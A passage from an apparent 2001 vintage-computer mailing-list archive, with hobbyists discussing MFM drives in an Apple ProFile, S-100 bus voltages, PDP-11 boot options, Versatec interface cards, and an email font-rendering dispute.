thought in '87 there was an article or two on just how that thingy worked. Any info at all would be most appreciated, and thank you very much in advance for any help y'all can provide. Oh, BTW, if you do reply privately, my zmerch@30below.com address is presently being flooded by double-bounces (I'm a sysadmin at a small ISP) from that %^(*$&#^@(%) Snowhite (W32-Hybris) Virus, so if you do reply privately, use zmerch7@yahoo.com or ab8kk@eudoramail.com. Thanks Much, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From jhellige at earthlink.net Sat Jun 2 13:49:11 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:09 2005 Subject: 3.5" MFM hard disk In-Reply-To: <20010529.114008.-426737.1.jeff.kaneko@juno.com> References: <20010529.114008.-426737.1.jeff.kaneko@juno.com> Message-ID: >Ah, I see. It's some whacko custom thingie. Didn't the Lisa originally >use some kind of ProFile-ish thing (custom interface, custom drive >electronix, etc.). I opened up my 5meg Profile hard disk finally and found that it has a ST-506 inside of it coupled to a couple of Apple coverter cards. Most of the case of those Profiles is taken up by the PSU. At least that bodes well for eventually getting it running again if the drive itself appears to be fairly normal. Without bothering the drive geometry settings, if there are any, wouldn't any MFM drive attached to this setup then appear to the system to be the 506? Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From mbg at world.std.com Sat Jun 2 14:05:52 2001 From: mbg at world.std.com (Megan) Date: Sun Feb 27 19:04:09 2005 Subject: New finds - swap & question References: <7A9BACCEF0171D4FB77019F5104CDD37151095@jeffserver.tegjeff.com> Message-ID: <200106021905.PAA19216@world.std.com> >Has anybody heard of a 'QBus music card'? This is a dual width card >with 2 AY-3-8912 IC's and an audio out plug mounted on the card. >Where was it used for and which application can control it? Yes, I have one... I don't know how many were made -- they were used by a demo application which ran on MicroPower/Pascal (I was part of the RT-11 development group at the time, and was in contact with the guys working on it -- even helped a little) Unfortunately, I don't have any hardware programming information for it at this point and I also don't have sources for the demo... If you find someone with programming info about it, I would be very interested as I'd like to do something for it under RT-11... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg KB1FCA | +--------------------------------+-------------------------------------+ From cmcmanis at mcmanis.com Sat Jun 2 14:30:48 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:09 2005 Subject: Please help me ID cards(32) In-Reply-To: References: <00b901c0eb89$7d915fa0$95c6d63f@headleys> Message-ID: <5.0.0.25.2.20010602114623.025e76b0@208.226.86.10> At 06:55 PM 6/2/01 +0100, Tony wrote: > > 17) ISA. VERSATEC IBM-INTERFACE. A10-026546-002-A. 37-pin DB external = > > port > >Sounds like the interface for a Versatec electrostatic matrix printer >(the standard connector for that, at least for the V80, was a DC37). The >Versatec electrostatic matrix printer is a predecessor of the laser >printer, and had a resolution of about 200dpi. It worked by building up a >charge image on specially coated paper and then passing liquid toner over >it. It worked, but the smell of the toner, and the fact that it blocked >from time to time made it fairly unpopular.... Except that _all_ Versatec plotters used this interface eventually. The C2300 I had was wax transfer 300DPI color that could make 11 x 17 color prints that matched any poster shop (in fact a lot of poster shops use/used the Versatec) it wasn't until market pressure forced them to adopt Centronics and then other high speed interfaces did they change. So the bottom line is lots of Versatec plotters could use this card. --Chuck From edick at idcomm.com Sat Jun 2 14:33:52 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:09 2005 Subject: 3.5" MFM hard disk References: <20010529.114008.-426737.1.jeff.kaneko@juno.com> Message-ID: <000901c0eb9a$f4a32f40$9cc762d8@idcomm.com> Probably not. My experience with the Apple-specific bridge controllers is that they are set up for a specific drive geometry in their firmware, which is Apple-specific, and geometries other than that won't work. They don't seem to have the ability to respond to drives that are set up on an otherwise identical, but non-Apple, bridge board, that have a different geometry or some other unpalatable characteristic, e.g. sector size, or some such. Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Saturday, June 02, 2001 12:49 PM Subject: Re: 3.5" MFM hard disk > >Ah, I see. It's some whacko custom thingie. Didn't the Lisa originally > >use some kind of ProFile-ish thing (custom interface, custom drive > >electronix, etc.). > > I opened up my 5meg Profile hard disk finally and found that > it has a ST-506 inside of it coupled to a couple of Apple coverter > cards. Most of the case of those Profiles is taken up by the PSU. > At least that bodes well for eventually getting it running again if > the drive itself appears to be fairly normal. Without bothering the > drive geometry settings, if there are any, wouldn't any MFM drive > attached to this setup then appear to the system to be the 506? > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From bshannon at tiac.net Sat Jun 2 14:56:42 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:09 2005 Subject: Software for an IMSAI 8080? References: Message-ID: <3B1944FA.77289D4D@tiac.net> Hello, I'm in the process of restoring an older Imsai 8080. Can someone direct me to a ROM based BASIC to run on this machine? A ROM board with BASIC would be idea, but I suppose I could build a ROM board if need be... I have a batch of interesting S-100 boards (Solid State Music synthisizers, a Compuprizim color video board, disk controllers, etc), so swaps are possible! From donm at cts.com Sat Jun 2 15:57:48 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:09 2005 Subject: 3.5" MFM hard disk In-Reply-To: Message-ID: On Sat, 2 Jun 2001, Jeff Hellige wrote: > >Ah, I see. It's some whacko custom thingie. Didn't the Lisa originally > >use some kind of ProFile-ish thing (custom interface, custom drive > >electronix, etc.). > > I opened up my 5meg Profile hard disk finally and found that > it has a ST-506 inside of it coupled to a couple of Apple coverter > cards. Most of the case of those Profiles is taken up by the PSU. > At least that bodes well for eventually getting it running again if > the drive itself appears to be fairly normal. Without bothering the > drive geometry settings, if there are any, wouldn't any MFM drive > attached to this setup then appear to the system to be the 506? Likely, but you must be sure that it has at least 4 heads and 153 cylinders. The cylinder part is no problem - probably nothing available today would have less :) Another factor to consider is that the ST-506 did not have buffered seek IIRC. That is not likely to be a concern either, but if you were going from a modern controller to the 506 it might be a problem. - don > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From ard at p850ug1.demon.co.uk Sat Jun 2 13:29:03 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:09 2005 Subject: CoCo Info Needed... In-Reply-To: <3.0.1.32.20010602141520.0096a5c0@mail.30below.com> from "Roger Merchberger" at Jun 2, 1 02:15:20 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3441 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010602/2f398a3c/attachment.ksh From jhellige at earthlink.net Sat Jun 2 16:25:59 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:10 2005 Subject: 3.5" MFM hard disk In-Reply-To: References: Message-ID: >Likely, but you must be sure that it has at least 4 heads and 153 >cylinders. The cylinder part is no problem - probably nothing available >today would have less :) Another factor to consider is that the ST-506 >did not have buffered seek IIRC. That is not likely to be a concern >either, but if you were going from a modern controller to the 506 it >might be a problem. What I was thinking was that I'd substitute a more readily handy drive, such as a 225, knowing that it was larger and that most of it's space would be wasted due to the differences in parameters, but that there would surely be enough headroom there in the heads and cylinders that it would hopefully work ok. I remember there being some tolerance for running MFM drives at settings that didn't match thier physical layout, as we had to do it on occasion when we had a drive which didn't fit any of the 'normal' drive types in the AMI/Phoenix/Award BIOS tables and it was before user-derfinable drive types. Since the 506 is a full height, this might be a good candidate to try and use my Tandon TM502 with. I also have a ST225, which I like more than the Tandon, but I'll likely use it to replace a faulty drive in a Z-100. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From rigdonj at intellistar.net Sat Jun 2 18:08:55 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:10 2005 Subject: Compaq 286 SLT Power PInout In-Reply-To: <000b01c0e9af$e5c7d080$95c1893e@freeserve.co.uk> Message-ID: <5.1.0.14.1.20010602190605.00a9a6a0@mailhost.intellistar.net> Patrick, I have a couple of 286 SLTs and ONE charger. I'll try to find it and let you know the pin out. FWIW the chargers are a lot harder to find than the machines. For one thing, the chargers break the wires inside the cable just before the plug that fits into the computer due to flexing. Joe At 09:58 AM 5/31/01 +0100, you wrote: >Hi Does anyone have any idea of the volts needed for the six pins of the >SLT's power point on the laptop >As I would like to get this laptop up and running, It works but i need >better way of powering it. > >Thanks > >email fantom4@fantom5.freeserve.co.uk > From epgroot at ucdavis.edu Sat Jun 2 18:22:58 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:10 2005 Subject: S-100 Bus Voltages Message-ID: <3.0.5.32.20010602162258.007d3d70@yellow.ucdavis.edu> Anybody know the voltage tolerances for S-100 bus computers, or where such info. can be found? I am preparing to run a 1981 vintage, 19-slot S-100 system. After pulling all but one of the cards out I powered up the system. Fans run fine, but the motherboard voltage supplies are rather high. For +8V I measure 10.7V; for +16V I get -19.3V; and for -16V I get -19.3V. Is this some careless engineering, bad components, or is the board really NOT supposed to receive the nominal voltage? Many of the S-100 boards are discoloured brown-green on the solder side opposite these large transistor-like things with heat sinks. Is that something to worry about? I also measured the DC voltages of the pins of one of the slots. This is what I got (assuming that pins 1|51 is at the power supply end): volts pin# volts | volts pin# volts | volts pin# volts | volts pin# volts ----- ----- ----- | ----- ----- ----- | ----- ----- ----- | ----- ----- ----- 10.7 1 51 10.7 | ? 13 63 ? | ? 26 76 ? | 1.4 38 88 1.4 ? 2 52 -19.5 | 5 14 64 ? | ? 27 77 ? | 1.3 39 89 1.3 5 3 53 0 | ? 15 65 ? | ? 28 78 1.3 | 1.3 40 90 1.3 5 4 54 5 | ? 16 66 ? | 1.6 29 79 1.3 | 0.1 41 91 0.1 5 5 55 5 | ? 17 67 5 | 1.3 30 80 1.3 | 0.1 42 92 0.1 5 6 56 5 | 5 18 68 ? | 1.3 31 81 1.3 | 0.1 43 93 0.1 5 7 57 5 | 5 19 69 ? | ? 32 82 1.3 | 1.3 44 94 0.1 5 8 58 ? | 0 20 70 0 | ? 33 83 1.3 | 1.3 45 95 0.1 5 9 59 ? | ? 21 71 ? | ? 34 84 0 | 1.3 46 96 1.3 5 10 60 5 | 5 22 72 5 | 1.4 35 85 0 | AC? 47 97 AC? 5 11 61 ? | 5 23 73 5 | 1.4 36 86 0 | ? 48 48 5 5 12 62 ? | 1.3 24 74 5 | ? 37 87 0 | 1.3 49 99 5 | ? 25 75 ? | | 0 50 100 0 Does that look safe enough to put the boards back and see how this system runs? A fair amount of current runs through these slots. I nearly welded my probe to the slot when I accidently shorted two pins! Any help, encouragement is much appreciated! Edwin From epgroot at ucdavis.edu Sat Jun 2 18:30:46 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:10 2005 Subject: Please help me ID cards(32) In-Reply-To: <00b901c0eb89$7d915fa0$95c6d63f@headleys> Message-ID: <3.0.5.32.20010602163046.007d4910@yellow.ucdavis.edu> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1266 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010602/666bbf1a/attachment.bin From ajp166 at bellatlantic.net Sat Jun 2 18:39:37 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:10 2005 Subject: Altair 8800 front panel lamps Message-ID: <011c01c0ebbe$20e97be0$39799a8d@ajp166> I wrote once about this and it's annoying!!!!!!!!!!!!!!! Stop with the funky font shit! Allison -----Original Message----- From: Marvin To: classiccmp@classiccmp.org Date: Saturday, June 02, 2001 10:58 AM Subject: Re: Altair 8800 front panel lamps > > >Sellam Ismail wrote: > >> I recommend: >> >> Fire in the Valley (Freiberger/Swaine) >> Hackers (Levy) >> The Naked Computer (Rochester/Gantz) > >I found Fire in the Valley on ABE at >http://dogbert.abebooks.com/abe/BookSearch for $6.00 plus postage. A most >interesting book! Some of these books are getting a bit harder to find on >the streets. From pete at dunnington.u-net.com Sat Jun 2 18:54:20 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:10 2005 Subject: Anyone ever seen a TRAN M3000? In-Reply-To: Douglas Quebbeman "RE: Anyone ever seen a TRAN M3000?" (Jun 2, 11:19) References: <7A9BACCEF0171D4FB77019F5104CDD37151095@jeffserver.tegjeff.com> Message-ID: <10106030054.ZM15954@indy.dunnington.u-net.com> On Jun 2, 11:19, Douglas Quebbeman wrote: > > >In a few weeks, I'll put a diagram of the Indiana > > >University Computing Network cira 1974 up on my web > > >site so you can see the role it played. You'll need > > >a WHIP! viewer (from Autodesk's web site) to view it. > > > > If the diagram is of that vintage and not going to be > > changed, why post it in Autocad format where it needs a special > > plug-in to view it? > > I haven't been able to create a raster image of it > that preserves all the visible details without it > being smaller than 2MB. I can't dedicate that much > of my precious homepage storage space to a single > item. The DWF file (and likewise a DXF) are a few > orders of magnitude smaller. Doug, I have a piece of software that *might* be able to read the DXF file and output PostScript. It depends on what's in the DXF file (DXF is a very loosely defined and badly documented format so sometimes I find DXF that doesn't translate). -- Pete Peter Turnbull Network Manager University of York From ard at p850ug1.demon.co.uk Sat Jun 2 18:49:36 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:10 2005 Subject: S-100 Bus Voltages In-Reply-To: <3.0.5.32.20010602162258.007d3d70@yellow.ucdavis.edu> from "Edwin P. Groot" at Jun 2, 1 04:22:58 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1395 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010603/cd91b212/attachment.ksh From cmcmanis at mcmanis.com Sat Jun 2 19:06:11 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:10 2005 Subject: Anyone ever seen a TRAN M3000? References: <7A9BACCEF0171D4FB77019F5104CDD37151095@jeffserver.tegjeff.com> <10106030054.ZM15954@indy.dunnington.u-net.com> Message-ID: <3B197F73.301FF344@mcmanis.com> Pete Turnbull wrote: > Doug, I have a piece of software that *might* be able to read the DXF file > and output PostScript. It depends on what's in the DXF file (DXF is a very > loosely defined and badly documented format so sometimes I find DXF that > doesn't translate). Corel Draw will import DXF and write PDF if that is helpful... --Chuck From marvin at rain.org Sat Jun 2 19:09:15 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:10 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps References: <011c01c0ebbe$20e97be0$39799a8d@ajp166> Message-ID: <3B19802B.92BD7ED7@rain.org> Allison I have not a clue what you are talking about. Viewing my messages in a number of ways including the page source shows NOTHING out of the ordinary. If you have a problem, kindly include a suggested solution. I see NOTHING any different from my post than any other posts on this board. ajp166 wrote: > > I wrote once about this and it's annoying!!!!!!!!!!!!!!! > > Stop with the funky font shit! > > Allison > -----Original Message----- > From: Marvin > To: classiccmp@classiccmp.org > Date: Saturday, June 02, 2001 10:58 AM > Subject: Re: Altair 8800 front panel lamps > > > > > > >Sellam Ismail wrote: > > > >> I recommend: > >> > >> Fire in the Valley (Freiberger/Swaine) > >> Hackers (Levy) > >> The Naked Computer (Rochester/Gantz) > > > >I found Fire in the Valley on ABE at > >http://dogbert.abebooks.com/abe/BookSearch for $6.00 plus postage. A > most > >interesting book! Some of these books are getting a bit harder to find > on > >the streets. From vance at ikickass.org Sat Jun 2 19:27:03 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:10 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps In-Reply-To: <3B19802B.92BD7ED7@rain.org> Message-ID: I can't see anything either. Peace... Sridhar On Sat, 2 Jun 2001, Marvin wrote: > > Allison > > I have not a clue what you are talking about. Viewing my messages in a > number of ways including the page source shows NOTHING out of the ordinary. > If you have a problem, kindly include a suggested solution. I see NOTHING > any different from my post than any other posts on this board. > > ajp166 wrote: > > > > I wrote once about this and it's annoying!!!!!!!!!!!!!!! > > > > Stop with the funky font shit! > > > > Allison > > -----Original Message----- > > From: Marvin > > To: classiccmp@classiccmp.org > > Date: Saturday, June 02, 2001 10:58 AM > > Subject: Re: Altair 8800 front panel lamps > > > > > > > > > > >Sellam Ismail wrote: > > > > > >> I recommend: > > >> > > >> Fire in the Valley (Freiberger/Swaine) > > >> Hackers (Levy) > > >> The Naked Computer (Rochester/Gantz) > > > > > >I found Fire in the Valley on ABE at > > >http://dogbert.abebooks.com/abe/BookSearch for $6.00 plus postage. A > > most > > >interesting book! Some of these books are getting a bit harder to find > > on > > >the streets. > From foo at siconic.com Sat Jun 2 19:25:10 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:10 2005 Subject: Altair 8800 front panel lamps In-Reply-To: <011c01c0ebbe$20e97be0$39799a8d@ajp166> Message-ID: On Sat, 2 Jun 2001, ajp166 wrote: > I wrote once about this and it's annoying!!!!!!!!!!!!!!! > > Stop with the funky font shit! Allison, what e-mail reader are you using? I'm using PINE, and if there is any HTML encoding in the message, I would see it. But I don't see anything coming from any of Marvin's postings, so I'm trying to figure out what you're getting on your end. > -----Original Message----- > From: Marvin > To: classiccmp@classiccmp.org > Date: Saturday, June 02, 2001 10:58 AM > Subject: Re: Altair 8800 front panel lamps > > > > > > > >Sellam Ismail wrote: > > > >> I recommend: > >> > >> Fire in the Valley (Freiberger/Swaine) > >> Hackers (Levy) > >> The Naked Computer (Rochester/Gantz) > > > >I found Fire in the Valley on ABE at > >http://dogbert.abebooks.com/abe/BookSearch for $6.00 plus postage. A > most > >interesting book! Some of these books are getting a bit harder to find > on > >the streets. > Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From rdd at smart.net Sat Jun 2 20:41:55 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:10 2005 Subject: [classiccmp] on subject line In-Reply-To: Message-ID: Greetings, Is it possible for the mailing list software used for this list to prepend something like "[classiccmp]" to the subject lines for all of the messages on this list like many other mailing lists have? Since this is a somewhat high volume list, it would make it a heck of a lot easier to sort through e-mail messages. :-) -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From cisin at xenosoft.com Sat Jun 2 20:37:47 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:10 2005 Subject: Problems with posts? (was: Altair 8800 front panel lamps In-Reply-To: Message-ID: On Sat, 2 Jun 2001, Sellam Ismail wrote: > Allison, what e-mail reader are you using? I'm using PINE, and if there > is any HTML encoding in the message, I would see it. But I don't see > anything coming from any of Marvin's postings, so I'm trying to figure out > what you're getting on your end. With full headers enabled in PINE, I get the following message preceding Marvin's post: [ The following text is in the "x-user-defined" character set. ] [ Your display is set for the "US-ASCII" character set. ] [ Some characters may be displayed incorrectly. ] Could that be what is causing problems for Allison? -- Grumpy Ol' Fred cisin@xenosoft.com From gregorym at cadvision.com Sat Jun 2 20:43:52 2001 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 19:04:10 2005 Subject: Altair 8800 front panel lamps References: Message-ID: <004f01c0ebce$a4d6ba20$0200a8c0@marvin> ----- Original Message ----- From: "Sellam Ismail" To: Sent: Saturday, June 02, 2001 6:25 PM Subject: Re: Altair 8800 front panel lamps > On Sat, 2 Jun 2001, ajp166 wrote: > > > I wrote once about this and it's annoying!!!!!!!!!!!!!!! > > > > Stop with the funky font shit! > > Allison, what e-mail reader are you using? I'm using PINE, and if there > is any HTML encoding in the message, I would see it. But I don't see > anything coming from any of Marvin's postings, so I'm trying to figure out > what you're getting on your end. > FWIW, I use Outlook Express at work, and Marvin's messages all display in a different font (a sans-serif, very thin font) from my default mail font. So OE at least is interpreting something in the message as HTML formatting. But all I get is the "funky font", no other HTML features (colour changes, bold, etc). Cheers, Mark. From healyzh at aracnet.com Sat Jun 2 20:55:02 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:10 2005 Subject: [classiccmp] on subject line In-Reply-To: References: Message-ID: >Is it possible for the mailing list software used for this list to >prepend something like "[classiccmp]" to the subject lines for all of >the messages on this list like many other mailing lists have? Since >this is a somewhat high volume list, it would make it a heck of a lot >easier to sort through e-mail messages. :-) If you'll remember we tried that when we switched over to this listserver and the general concensus was that we didn't like it! It's a royal pain both in the added lenght and sorting. Actually even when I'm in 'elm' I can generally tell the messages are from this list. In Eudora, they all automatically go to the CLASSICCMP box. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From ajp166 at bellatlantic.net Sat Jun 2 21:11:40 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:10 2005 Subject: Altair 8800 front panel lamps Message-ID: <017101c0ebd3$1f745b80$39799a8d@ajp166> I'm using OE (outlook express) it sees it as likely RTF not HTML. HTML is something PINE dislikes but RTF or other MIME types are possible. Allison -----Original Message----- From: Sellam Ismail To: classiccmp@classiccmp.org Date: Saturday, June 02, 2001 9:47 PM Subject: Re: Altair 8800 front panel lamps >On Sat, 2 Jun 2001, ajp166 wrote: > >> I wrote once about this and it's annoying!!!!!!!!!!!!!!! >> >> Stop with the funky font shit! > >Allison, what e-mail reader are you using? I'm using PINE, and if there >is any HTML encoding in the message, I would see it. But I don't see >anything coming from any of Marvin's postings, so I'm trying to figure out >what you're getting on your end. > >> -----Original Message----- >> From: Marvin >> To: classiccmp@classiccmp.org >> Date: Saturday, June 02, 2001 10:58 AM >> Subject: Re: Altair 8800 front panel lamps >> >> >> > >> > >> >Sellam Ismail wrote: >> > >> >> I recommend: >> >> >> >> Fire in the Valley (Freiberger/Swaine) >> >> Hackers (Levy) >> >> The Naked Computer (Rochester/Gantz) >> > >> >I found Fire in the Valley on ABE at >> >http://dogbert.abebooks.com/abe/BookSearch for $6.00 plus postage. A >> most >> >interesting book! Some of these books are getting a bit harder to find >> on >> >the streets. >> > > >Sellam Ismail Vintage Computer Festival >------------------------------------------------------------------------ ------ >International Man of Intrigue and Danger http://www.vintage.org > From ajp166 at bellatlantic.net Sat Jun 2 21:09:12 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:10 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps Message-ID: <017001c0ebd3$1f034a30$39799a8d@ajp166> When I view YOUR post the fonts on the system here change. if I set them back and go back to this message the same thing happens. Usually it's HTML or RTF messages that do that. Allison -----Original Message----- From: Marvin To: classiccmp@classiccmp.org Date: Saturday, June 02, 2001 8:38 PM Subject: Problem Posts????? was Re: Altair 8800 front panel lamps > >Allison > >I have not a clue what you are talking about. Viewing my messages in a >number of ways including the page source shows NOTHING out of the ordinary. >If you have a problem, kindly include a suggested solution. I see NOTHING >any different from my post than any other posts on this board. > >ajp166 wrote: >> >> I wrote once about this and it's annoying!!!!!!!!!!!!!!! >> >> Stop with the funky font shit! >> >> Allison >> -----Original Message----- >> From: Marvin >> To: classiccmp@classiccmp.org >> Date: Saturday, June 02, 2001 10:58 AM >> Subject: Re: Altair 8800 front panel lamps >> >> > >> > >> >Sellam Ismail wrote: >> > >> >> I recommend: >> >> >> >> Fire in the Valley (Freiberger/Swaine) >> >> Hackers (Levy) >> >> The Naked Computer (Rochester/Gantz) >> > >> >I found Fire in the Valley on ABE at >> >http://dogbert.abebooks.com/abe/BookSearch for $6.00 plus postage. A >> most >> >interesting book! Some of these books are getting a bit harder to find >> on >> >the streets. From ajp166 at bellatlantic.net Sat Jun 2 21:07:09 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:10 2005 Subject: S-100 Bus Voltages Message-ID: <016f01c0ebd3$1e90b240$39799a8d@ajp166> From: Edwin P. Groot > After pulling all but one of the cards out I powered up the system. >Fans run fine, but the motherboard voltage supplies are rather high. For >+8V I measure 10.7V; for +16V I get -19.3V; and for -16V I get -19.3V. Is >this some careless engineering, bad components, or is the board really NOT >supposed to receive the nominal voltage? Obviously you have no expereince with S100. The Voltages supplied to the bus are UNREGUALTED with a minima of +8, +15 and -15. Each card carries it's own local regulation to resolve the 5/12/-12/-5 as needed. > Many of the S-100 boards are discoloured brown-green on the solder >side opposite these large transistor-like things with heat sinks. Is that >something to worry about? Typical and those large transistor like things are voltage regulators. >Does that look safe enough to put the boards back and see how this system >runs? The measurments you made are mostly meaningless. Is it safe? Likely is but that done not mean it will run. I'd have to assume the boards in there are a complete set and configured (memory and IO addresses correctly set) for anything good to happen. S100 was NOT plug and play. > A fair amount of current runs through these slots. I nearly welded my >probe to the slot when I accidently shorted two pins! Obviously contacted +8 to the -16. And yes those supplies are typically good for 25A on the +8 and 4-8A on the +15. Allison From ajp166 at bellatlantic.net Sat Jun 2 21:23:50 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:10 2005 Subject: booting from RQDX3 Message-ID: <019201c0ebd4$8f4f0ad0$39799a8d@ajp166> From: Jochen Kunz >> How does a PDP-11 boot from an RQDX3 controller? >> These machines are in a 4-slot dual-wide card cage which is full. >I am afraid that there is only one solution in this configuration: >Typing in the bootstrap via ODT at startup. I do this with my 11/73, >because I don't have a ROM card. But a ROM card is no solution for you, >as you don't have a free slot. I connected the console line of the PDP >to a serial port of a PeeCee, so I can use a minicom script to type in the >bootstrap. Or like I have in one of my BA-11VA boxen. System A with HD 11/23 (KDF11-A) 256k ram MXV11 with boot roms. RQDX3 + disk System B with Tu58 11/23 256k ram DLV11j MR11C rom card with tu58 boot. Allison From ajp166 at bellatlantic.net Sat Jun 2 21:20:14 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:10 2005 Subject: booting from RQDX3 Message-ID: <019101c0ebd4$8ec58f80$39799a8d@ajp166> From: Jonathan Engdahl > Why are you bothering with an old PDP-11/23? There are much faster > systems that are readily available and since you have ONLY four serial > channels (I presume that you are using an M8043/DLV11-J module), > why would you not switch to a faster, more capable system? Well, faster than what and more capable thant what? >I'd be willing to trade an 11/23 system for a Qbus SCSI card that will work >with 2.11BSD on the 11/53. But I'm getting ahead of myself -- I'm not ready Good luck as far as I know 2.11 didn't have native support for SCSI. Not to say you couldn't write your own driver. However when 2.11 was current SCSI was still called SASI and likely not found on most PDP-11s. Allison From rdd at smart.net Sat Jun 2 21:57:00 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:10 2005 Subject: Thinking and work (was: Lisas) In-Reply-To: Message-ID: On Fri, 1 Jun 2001, Adrian Graham wrote: > Losing your job has a fun effect on your brainpower :) Still, I got a Most definitely! :-) Many employers don't like people to think, it seems; they just want 'droids. (BTW, best of luck with finding a new job!) Since I lost my full-time job a couple of months ago, I've been able to spend a lot more time thinking and actually getting things done -- like lots of research and writing; installing a new, tall, set of bookshelves and filling them up; finding some classic computer documentation that I couldn't find; adding more disks to one of my Suns; learning more about JavaScript; collecting enough cables with DB-25 connectors to last me a few years; figuring out a fun way to change my web site into something that I like better that may provide me with some income; taking more photos on horseback; figuring out how to make room for my VAX 4000-200, if the seller _ever_ sends it (I should have paid more attention to the e-bay feedback, but I wanted that VAX... has anyone else here dealt with a company in Texax called Techs-R-Us? It's been over a month now since I sent them the check, and still no VAX.); etc. ...of course, the paychecks are useful. :-) Now, a few hopefully helpful hints for people who are, or aren't, employed, from some valuable lessons that I learned this time around: Do NOT accept a position where nepotism exists (e.g., the boss' brother and nephew are your only other cow-orkers, and watch out when the nephew loses his private office and you have one, and he wants yours) and where you know what changes need to be made in order to make things work right (Just keep yout mouth shut and don't try to to make helpful suggestions, and don't grab the bull by the horns like I did and go ahead and start to implement some of them...). For example, suggesting the ditching of SCO OpenServer and installing a real database (e.g. Oracle or PostgreSQL) to replace, or interface with, BASIC code written by hand every time a new report needs to be created, and creating a user-interface that will interface with the system's data, and a real database to provide custom reports on demand over a closed network (needed for confidentiality). Be very, very, cautious, when they do not understand, and don't want to learn about, or be taught about, technology that you're familar with that could be helpful. As the old saying from Lost in Space goes, *** WARNING, WARNING, DANGER WILL ROBINSON! WARNING, WARNING... *** Be especially wary when a supervisor, or her/his hired relatives, say "What's wrong with SCO?," "Oracle is too slow," "What's MySQL or PostgreSQL?," "BSD is the same as Linux and originated at the same time as Linux," "What's FreeBSD or OpenBSD?," "BSD isn't useful for anything serious," "What's wrong with the fact that we re-wrote all of the company's software (a complex system), that was written in proprietary BASIC, in BASIC (which also requires a dongle to be on the system for it to work)," "The programming interface---a set of C library files, is useless; what do we need those, or the use of sockets, for?," "Our software is fine the way it is, and the physicians who work here don't need custom reports on demand even though you understand they want them---we can just copy data files to a Windoze PC from the main server and someone can use database software on that to generate special reports once a month if needed," or, "We don't need our own e-mail server, we're just going to buy large blocks of Hotmail addresses to use with our domain name for the doctors and other employees to use." Oh, yeah, if you think the end is approaching, don't hand over, to 